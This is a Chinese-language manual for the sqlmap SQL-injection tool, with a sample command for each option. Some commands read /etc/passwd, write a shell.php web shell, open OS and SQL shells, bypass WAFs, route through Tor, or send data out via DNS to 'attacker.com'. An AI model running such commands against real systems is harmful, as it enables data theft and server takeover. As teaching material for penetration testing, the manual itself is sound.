Sqlmap手册—史上最全
Sqlmap手册—史上最全
一.介绍
开源的SQL注入漏洞检测的工具，能够检测动态页面中的get/post参数，cookie，http头，还能够查看数据，文件系统访问，甚至能够操作系统命令执行。
检测方式：布尔盲注、时间盲注、报错注入、UNION联合查询注入、堆叠注入
支持数据库：Mysql、Oracle、PostgreSQL、MSSQL、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDb
二.基本参数
—update：更新
python sqlmap.py —update
-h：查看常用参数
python sqlmap.py -h
-hh：查看全部参数
python sqlmap.py -h
—version：查看版本
python sqlmap.py —version
-v：查看执行过程信息，默认是1，一共 0 ~ 6
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -v 3
-d ：mysql表示数据库类型、user:password表示目标服务器的账号和密码，@后表示要连接的服务器，3306表示端口，zakq_ dababasename表示连接的数据库名称
python sqlmap.py -d “mysql://root:root@192.168.126.128:3386/zkaq_databasename”
—wizard ：向导式
python sqlmap.py —wizard
三.确定目标
-u “URL” ：指定URL，get请求方式
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“
-m url.txt :：使用一个包含多个url的文件进行扫描。若有重复，sqlmap会自动识别成一个。
python sqlmap.py -m url.txt
-g ：扫描，使用Google语法得到的url。
python sqlmap.py -g “inurl:\”.php?id=1\”
-r request.txt ：Post提交方式，使用HTTP请求文件，该文件可从BurpSuit中导出。（BurpSuit抓包—>将请求复制到txt中即可）
python sqlmap.py -r request.txt
-l log.txt —scope=”正则表达式” ：Post提交方式，使用BurpSuit的log文件。（Options—>Misc—>Logging—>Proxy—>勾选Request ，scope的作用是 基于正则表达式去过滤日志内容，筛选需要扫描的对象。
python sqlmap.py -l log.txt —scope=”(www)?.target.(com|net|arg)”
-c sqlmap.conf ：使用配置文件进行扫描 (sqlmap.conf与sqlmap.py 在同一目录)
python sqlmap.py -c sqlmap.conf
-u “URL” ：对于这种写法，加号扫描
python sqlmap.py -u “http://target_url/param1/value1/param2/value2“
四.配置目标参数
-p ：指定要扫描的参数
python sqlmap.py -u “http://59.63.200.79:8003/?id=1&username=admin&password=123“ -p “username,id”
—skip：排除指定的扫描参数
python sqlmap.py -u “http://59.63.200.79:8003/?id=1&username=admin&password=123“ —skip “username,id”
—data：指定扫描的参数，get/post都适用
python sqlmap.py -u “http://59.63.200.79:8003/?id=1&username=admin&password=123“ —date=”username=admin&password=123”
—param-del：改变分隔符，默认是&，因为有些网站不实用&传递多个数据。
python sqlmap.py -u “http://59.63.200.79:8003/?id=1&username=admin&password=123“ —date=”username=admin;password=123” —param-del=”;”
—cookie ：使用cookie的身份认证
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —cookie=”security=low;PHPSESSID=121123131”
—drop-set-cookie：有时候发起请求后，服务器端会重新Set-cookie给客户端，SQLmap默认会使用新的cookie，这时候可以设置此参数，表示还是用原来的cookie。
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —cookie=”security=low;PHPSESSID=121123131 —-drop-set-cookie”
—user-agent ：使用浏览器代理头
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —user-agent=”aaaaaaaaa”
—random-agent：使用随机的浏览器代理头
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —random-agent
—host ：指定主机头
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —host=”aaaaa”
—referer=”aaaaaa” ：指定referer头
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —referer=”aaaaaa”
—headers ：有些网站需要特定的头来身份验证
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —headers=”host:aaaa\nUser-Agent:bbbb”
—method ：指定请求方式，还有POST
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —method=GET
—auth-type ， —auth-cred：身份认证，还有Digest、NTLM
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —auth-type Basic —auth-cred “user:pass”
—auth-file=”ca.PEM” ：使用私钥证书去进行身份认证，还有个参数—auth-cert，暂时不知道怎么用，没遇到过
—proxy ：使用代理去扫描目标，代理软件占用的端口在8080
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —proxy=”http://127.0.0.1:8080/“
—proxy-cred：使用代理时的账号和密码
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —proxy=”http://127.0.0.1:8080/“ —proxy-cred=”name:pass”
—ignore-proxy ：忽略系统级代理设置，通常用于扫描本地网络目标，本网段。
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —ignore-proxy
五.配置目标行为
—force-ssl：使用HTTPS连接进行扫描
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —force-ssl
—delay：每次http请求之间的延迟时间，默认无延迟
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —delay=”3”
—timeout：请求超时时间，浮点数，默认为30秒
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —timeout=”10”
—retries：http连接的重试次数，默认3次
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —retries=”1”
—randomize：长度、类型与原始值保持一致的情况下,随机参数的取值。比如id=100 -> id=1??
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —randomize=”id”
—safe-url：检测盲注阶段时，sqlmap会发送大量失败请求，可能导致服务器端销毁session
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —safe-url=”URL”
—safe-freq ：每发送多少次注入请求后，发送一次正常请求，配合—safe-url使用。
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —safe-freq
—time-sec：基于时间的注入检测相应延迟时间，默认5秒
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —time-sec=”3”
—union-cols ：默认联合查询1-10列，随—level增加，最多支持100列。
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —union-cols 6-9
—union-char：联合查询默认使用null，极端情况下可能失败，此时可以手动执行数值
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —union-char 123
—technique US ：指定检测注入时所用技术，默认情况下Sqlmap会使用自己支持的全部技术进行检测，有B、E、U、S、T、Q
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —technique US
六.优化探测过程
—level 2：检测cookie中是否含有注入、3：检测user-agent、referer是否含有注入、5：检测host是否含有注入
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —level 3
—risk 默认1，最高4，等级高容易造成数据被篡改风险
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —risk 3
—predict-output ：优化检测方法，不断比对大数据，缩小检测范围，提高效率，与—threads参数不兼容
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —predict-output
—keep-alive ：长连接、性能好，避免重复建立的网络开销，但大量长连接会占用服务器资源。与—proxy参数不兼容
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —keep-alive
—null-connection ：只获取页面大小的值，通常用于盲注判断真假，与—text-only 不兼容
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —null-connection
-o ：直接开启以上三个(—predict-output、—keep-alive、—null-connection)
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -o
—threads=7 ：提高并发线程，默认为1，建议不要超过10，否则影响站点可用性，与—predict-out不兼容
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —threads=7
—string=”woaini” ：页面比较，用于基于布尔注入的检测，因为有时候页面随时间阈值变化，此时需要人为指定标识真假的字符串，除此之外，还有—not-string=”woaini”、—code=200、—titles=”Welcome”等等
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —string=”woaini”
七.特定目标环境
—skip-urlencode ：默认get传参会使用URL编码，但有些服务器没按规范，使用原始字符提交数据。
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —skip-urlencode
—eval ：在提交前，对参数进行pyhton的处理，提升效率
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —eval=”import hashlib;hash=hashlib.md5(id).hexdigest()”
—dbms ：指定数据库类型，还可以加上版本 Mysql<5.0>
python sqlmap.py -u “http://59.63.200.79:8003/?id=1” —dbms=”Mysql”
—os ：指定操作系统，还可以是Linux
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —os=”Windows”
—invalid-bignum ：sqlmap默认使用负值让参数进行失效，该参数使用最大值让参数失效，比如 id=9999999
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —invalid-bignum
—invalid-logical ：使用布尔值，比如 id 13 and 18=19
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —invalid-logical
—no-cast：将sqlmap取出的数据转换为字符串，并用空格替换NULL结果，在老版本时需要开启此开关。
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —no-cast
—no-escape：为了逃逸服务器端对sqlmap的检测，默认使用char()编码替换字符串。本参数将关闭此功能。比如 select ‘foo’ —> select cahr(102) + char(111) + char(111)
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —no-escape
—prefix：添加前缀
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —prefix “‘)’”
—suffix ：添加后缀
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —suffix “AND (‘abc’=’abc”
—tamper：使用脚本，绕过IPS、WAF等
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —tamper=”tamper/between.py,tamper/randomcase.py”
—dns-domain：攻击者控制了DNS服务器，可以提高取出数据的效率
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —dns-domain attacker.com
—second-order：在一个页面注入的结果，从另外一个页面提现出来
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —second-order “http://1.1.1.1/b.php“
八.查看基本信息
-f ：扫描时加入数据库指纹检测
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -f
-b ：查看数据库的版本信息
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -b
九.查看数据信息
—users ：查询所有的数据库账号
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —users
—dbs ：查询所有数据库
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —dbs
—schema ：查询源数据库（包含定义数据的数据）
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —schema
-a ：查询当前user、当前数据库、主机名、当前user是否是最大权限管理员、数据库账号等
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -a
-D dvwa：指定数据库
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -D database_name
—current-user ：查询当前数据库用户
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —current-user
—current-db ：查询当前数据库
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —current-db
—hostname ：查看服务器的主机名
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —hostname
—Privileges -U username ：查询username的权限
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —Privileges -U username
—roles ：查询角色
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —roles
—tables ：查看所有的表
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —tables
-T ：指定表
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -T table_name
—columns ：查看所有的字段
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —columns
-C ：指定字段
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -C column_name
—count ：计数，查看有多少条数据
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —count
—exclude-sysdbs ：排除系统库
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —exclude-sysdbs
—dump ：查看数据
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —dump
—start 3 ：查看第三条
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —start 3
—end 4 ：查看第四条
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —end 4
—sql-query “select * from users” ：执行语句
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —sql-query “select * from users”
—common-columns ：暴力破解字段，应用于两种情况：①无权限读取数据。②mysql<5.0 ，没有infomation_schema库
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —common-columns
—common-tables ：暴力破解表
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —common-tables
十.其他参数
—batch ：自动选是
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —batch
—charset：强制字符编码
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —charset=GBK
—crawl：爬站深度
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —crawl=3
—csv-del：指定csv文件的分隔符
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —csv-del=”;”
—flush-session ：清空session
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —flush-session
—force-ssl ：强制使用HTTPS
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —force-ssl
—fresh-queries ：重新检测，不使用本地已查询的数据
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —fresh-queries
—hex ：以16进制的形式编码dump出来的数据
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —hex
—parse-errors ：分析和显示数据库内建报错信息
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —parse-errors
—answer ：回答
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —answer=”extending=N”
—check-waf ：检测WAF/IPS/IDS
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —check-waf
—hpp ：绕过WAF/IPS/IDS
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —hpp
—identify-waf ：彻底检测WAF/IPS/IDS
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —identify-waf
—mobile ：模拟智能手机设备
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —mobile
—purge-output ：清除output文件夹
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —purge-output
—smart ：当有大量检测目标时，只选择基于错误的检测结果
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —smart
十一.高级注入参数
—file-read：文件系统访问
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —file-read=”/etc/passwd”
—file-write、—file-dest ：写文件到目标位置
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —file-write=”shell.php” —file-dest “/tmp/shell.php”
—sql-shell ：进入交互式mysql窗口
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —sql-shell
—os-shell ：进入命令行窗口
python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —os-shell
使用Tor代理
sqlmap.py -u http://navisec.it/123.asp?id=1 —tor -tor-type=SOCKS5 —tor-port=9050 —check-tor
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第3章-运行时数据区
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delta.io 参数 spark.databricks.delta.replaceWhere.constraintCheck.enabled
总结 默认值true 你写入的df分区字段必须全部符合覆盖条件 .option("replaceWhere", "c2 == 2") false: df1 overwrite tb1: df1中每个分区的处理逻辑: - tb1中存在(且谓词中匹配)的分区,则覆盖 - tb1中存在(谓词中不匹配)的分区,则append - tb1中不存…...
Redis知识点
1. Redis-常用数据结构 Redis提供了一些数据结构供我们往Redis中存取数据，最常用的的有5种，字符串（String）、哈希(Hash)、列表（list）、集合（set）、有序集合（zset…...
经典数据结构之2-3树
2-3树定义 2-3树，是最简单的B-树，其中2、3主要体现在每个非叶子节点都有2个或3个子节点，B-树即是平衡树，平衡树是为了解决不平衡树查询效率问题，常见的二叉平衡书有AVL树，它虽然提高了查询效率，…...
Numpy从入门到精通——节省内存|通用函数
这个专栏名为《Numpy从入门到精通》，顾名思义，是记录自己学习numpy的学习过程，也方便自己之后复盘！为深度学习的进一步学习奠定基础！希望能给大家带来帮助，爱睡觉的咋祝您生活愉快！ 这一篇介绍《…...
Docker-compose 启动 lnmp 开发环境
GitHub传送阵 docker-lnmp 项目帮助开发者快速构建本地开发环境，包括Nginx、PHP、MySQL、Redis 服务镜像，支持配置文件和日志文件映射，不限操作系统；此项目适合个人开发者本机部署，可以快速切换服务版本满足学习服务新…...
《android源码阅读四》Android系统源码整编、单编并运行到虚拟机
1、编译环境 《安装Ubuntu系统》《android源码下载》 2、整编源码 进入Android源码根目录 cd AOSP初始化环境 source build/envsetup.sh清除缓存 make clobber选择编译目标 // 选择编译目标 lunch // 因为本次是在虚拟机中运行，这里使用x86 lunch aosp_x86_6…...
深度学习技巧应用8-各种数据类型的加载与处理，并输入神经网络进行训练
大家好，我是微学AI，今天给大家介绍一下深度学习技巧应用8-各种数据类型的加载与处理，并输入神经网络进行训练。在模型训练中，大家往往对各种的数据类型比较难下手，对于非结构化数据已经复杂的数据的要进行特殊处理，这里介绍一下我们如何进行数据处理才能输入到模型中，进…...